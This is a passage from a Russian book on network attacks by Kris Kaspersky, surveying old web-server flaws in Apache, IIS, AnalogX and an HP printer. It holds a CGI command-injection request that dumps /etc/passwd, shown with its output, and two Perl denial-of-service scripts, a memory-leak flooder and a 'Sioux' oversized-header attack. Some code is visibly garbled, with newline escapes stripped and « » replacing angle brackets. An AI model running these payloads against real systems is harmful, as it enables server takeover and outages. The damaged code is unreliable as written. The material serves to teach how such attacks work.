Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК
Например, HTTP-сервер может быть настроен так, что бы запрос “GET /” переадресовывался в «C:wwwroot». Программно это реализуется тривиальным слиянием двух строк. Такой механизм работает нормально, до тех пор, пока атакующей не догадается воспользоваться командой перехода на один уровень вверх, послав вполне корректный с точки зрения операционной системы запрос “GET …/”. Такая ошибка была обнаружена, например, в «Microsoft Personal Web Server».
В настоящее время разработчики используют различные системы программных фильтров, для предотвращения подобных ситуаций. Иногда это приводит к забавным казусам. Например, дополнительные символы “/” могут вызвать непредсказуемое поведение некоторых серверов - от предоставления несанкционированного доступа до полного «зависания».
Врезка «информация»
До сих пор в сети можно встретить древние «Apache»-сервера, использующие примитивный алгоритм удаления дублирующихся символов “/”. Если при сканировании адресной строки, встречалась пара символов “/”, то один из них удалялся. Затем все повторялось до тех пор, пока в очередном проходе происходило хотя бы одно изменение.
Нетрудно оценить рост сложности в зависимости от количества подряд идущих символов “/”. Время анализа пропорционально квадрату количества слешей в строке, что позволяет осуществить атаку на отказ в обслуживании запросом, содержащим достаточно больше количество (порядка нескольких тысяч) повторяющихся слешей.
В современных версиях это исправлено, но далеко не все администраторы обновили свои сервера, поэтому угроза атаки «отказа в обслуживании» все еще остается актуальной.
Врезка «информация»
Старые версии Apache позволяли выполнять любые команды на сервере, стоило им послать следующий запрос “GET /cgi-bin/script?var=value%0Acommand”. Все, что находилось справа от символа перевода каретки, передавалось оболочке операционной системы (Shell) на выполнение.
Например, получить файл паролей можно так:
· GET /cgi-bin/test-cgi?kpnc=hacker%0a/bin/cat%20/etc/passwd
· root:x:0:0:root:/root:/bin/bash
· daemon:x:1:1:daemon:/usr/sbin:/bin/sh
· bin:x:2:2:bin:/bin:/bin/sh
· sys:x:3:3:sys:/dev:/bin/sh
· sync:x:4:100:sync:/bin:/bin/sync
· games:x:5:100:games:/usr/games:/bin/sh
· man:x:6:100:man:/var/catman:/bin/sh
· lp:x:7:7:lp:/var/spool/lpd:/bin/sh
· mail:x:8:8:mail:/var/spool/mail:/bin/sh
· news:x:9:9:news:/var/spool/news:/bin/sh
· uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
· proxy:x:13:13:proxy:/bin:/bin/sh
· majordom:x:30:31:Majordomo:/usr/lib/majordomo:/bin/sh
· postgres:x:31:32:postgres:/var/postgres:/bin/sh
· www-data:x:33:33:www-data:/var/www:/bin/sh
· backup:x:34:34:backup:/var/backups:/bin/sh
· msql:x:36:36:Mini SQL Database [279]
Врезка «информация»
Седьмого ноября 1997 года в «Базе Знаний» Microsoft появилась маленькая техническая заметка под номером Q168501, с первых строк гласящая следующее: «Microsoft Active Server Pages (ASP) download instead of executing, even after you install the ASP fix for IIS [280]» Об этой досадной ошибке уже упоминалась во врезке к главе «Протокол HTTP». Казалось бы, что вторая(!) по счету заплатка должна была решить все проблемы, ан, нет [281]
Злую шутку сыграло различие длинных и коротких имен файлов в Windows NT. Виртуальные директории, иначе называемые псевдонимами [282], всегда ссылались на полный путь к папке. Например, физическому каталогу «С:InetPubwwwrootcgi-scripts» мог быть присвоен псевдоним “/cgi-scripts”. Виртуальные атрибуты запрещали чтение любых содержащихся в нем файлов. И это работало, пока кому-то не пришла в голову мысль, воспользоваться коротким имением «/cgi-sc~1/». Операционная система правильно обрабатывала запрос, но виртуального каталога с таким именем не существовало! Поэтому «it would reference the file through the physical directory structure. Therefore, it would load the ASP file with the roots access of Read».
Администраторам было рекомендовано отказаться от использования длинных имен в папках для хранения исполняемых файлов. Если бы это не было связано с необходимостью внесения изменения практически во все файлы сайта, безусловно, так бы и поступили. Поэтому, до сих пор в сети находятся сервера, уязвимые против такой простой атаки - их владельцы посчитали подобные меры защиты экономически нецелесообразными.
Врезка «информация»
С ASP связана еще одна малоизвестная ошибка, приводящая к возможности просмотра исходного кода вместо его исполнения. В большинстве случаев разработчики используют включаемые («.inc») файлы для удобства программирования. Что бы постоянно не указывать полный путь, его часто добавляют в глобальную переменную PATH.
Это приводит к тому, что содержимое INCLUDE-директории становится доступно всем посетителям сайта, достаточно лишь передать серверу следующий запрос "GET /SomeScript.inc”.
Единственная проблема - угадать имена файлов. Учитывая, склонность разработчиков к осмысленным названиям, можно попробовать воспользоваться словарной атакой.
Врезка «Информация»
Любопытная ситуация связана с «AnalogX SimpleServer 1.03». Если путь к ресурсу, запрашиваемому методом GET, окажется равен именно семнадцати символам возникнет аварийная ситуация из-за ошибки в модуле «emu-str.c»
Например: “GET /cgi-bin/goodkpnc HTTP/1.0” в окне telnet, или “http://www.SimpleServer103.com/cgi-bin/goodkpnc” в любом браузере.
Врезка «Информация»
В новой, четвертой версии, «Microsoft Internet Information Server» была обнаружена грубая ошибка, приводящая к утечке памяти и быстрому краху системы. При передаче данных методами POST или PUT, сервер отводил затребованное в поле Content-Length количество памяти. Если клиент длительное время не проявлял никакой активности, соединение разрывалось, но память не освобождалась!
#!/usr/local/bin/perl -w
use Socket;
print "Content-type: text/htmlnn";
print "«BODY» «H1»«CENTER»”;
print “IIS 4.0 Memory Leack«/H1»«/CENTER»«HR»«BR»n";
$count=1;
$size=10240;
$N=100;
while ($count«$N)
{
socket(SRV, PF_INET(), SOCK_STREAM(), getprotobyname("tcp") || 6);
connect(SRV, sockaddr_in(80,inet_aton('www.iis40.com')));
send(SRV, "POST /cgi-bin/test-cgi HTTP/1.0n",0);
send(SRV,"Content-Length:$sizenn",0);
$count++;
print "Content-Length:$sizen";
print "«BR»";
}
Приведенный пример [283] посылает 100 запросов с требованием выделить 10 килобайт памяти для каждого из них. В результате этого, 100x10 - 1000 килобайт оказываются потерянными [284]
Врезка «информация»
Скорее комичная, чем опасная ошибка была обнаружена в… принтере «HP LaserJet 4500 + HP JetDirect J3111A», имеющим встроенный Web-сервер, предназначенный для удаленного администрирования. Неумеренно длинный запрос GET приводил к выдаче на печать страницы диагностики. Атакующий мог в короткое время привести в негодность всю бумагу, находящуюся в лотке и блокировать остальные задания на печать.
Ошибки такого типа относятся к досадным промахам разработчиков и обычно никакого интереса не представляют. В самом деле, шансы встретить на произвольно взятом узле требуемую для атаки конфигурацию, очень малы и все продолжают уменьшаться с каждым днем с момента опубликования информации об ошибке.
Гораздо большую опасность представляют концептуальные уязвимости, одинаково хорошо работающие на любых платформах, операционных системах и серверах. Одним из недостатков протокола HTTP является неограниченный размер заголовка запроса. А ведь для его хранения и обработки требуется некоторое количество памяти и процессорного времени!
Забросав сервер, огромными, бессмысленными (или осмысленными - это роли не играет) заголовками, можно значительно ухудшить его производительность, вплоть до полного отказа в обслуживании остальных клиентов.
Именно эта бесхитростная технология и была положена в основу Sioux [285] - атак, один из примеров программной реализации которой показан ниже [286].
· #!/usr/local/bin/perl -w
· use Socket;
· print "Content-type: text/htmlnn";
· print "«BODY» «H1»«CENTER»Sioux Attack«/H1»«/CENTER»«HR»«BR»n";
· $size=16384;
· $N=20000;
·
· socket(SRV, PF_INET(), SOCK_STREAM(), getprotobyname("tcp"));
· connect(SRV, sockaddr_in(80,inet_aton('www.sacrificial.com')));
·
· send(SRV, "GET / HTTP/1.0n",0);
· $devastating=('x'x$size);
· $count=1;
· while ($count«$N)
· {
· send(SRV,"Field$count:$devastatingn",0);
· $count++;
· print "Field$N:$devastatingn";
· print "«BR»";
·}
Приведенный пример, посылает на сервер-жертву запрос, в заголовке которого присутствуют $N полей длиной в $size байт каждое. Конкретные значения $N и $size зависят от пропускной возможности канала атакующего, типа сервера и множества других условий. Экспериментально было установлено, что наибольшую нагрузку вызывают пакеты с длиной полей заголовков от восьми до шестнадцати килобайт.
Врезка «информация»
Девятого Февраля Торговый Департамент США убеждал On-line компании и агентства в своей непричастности к хаосу, пошатнувшего мирное течение жизни Всемирной Паутины (предполагалось, что именно их компьютеры были использованы для атаки).
«Там и правда неважно обстояло с защитой» заметил Вильям Делай на пресс-конференции в Чикаго, кивая в сторону «Yahoo», первую жертву хакерской атаки, случившийся днем раньше. Следом были атакованы http://Amazon.com, http://Buy.com, http://CNN.com и несколько других сайтов, не упомянутых здесь по причине их малой известности российским интернетчикам.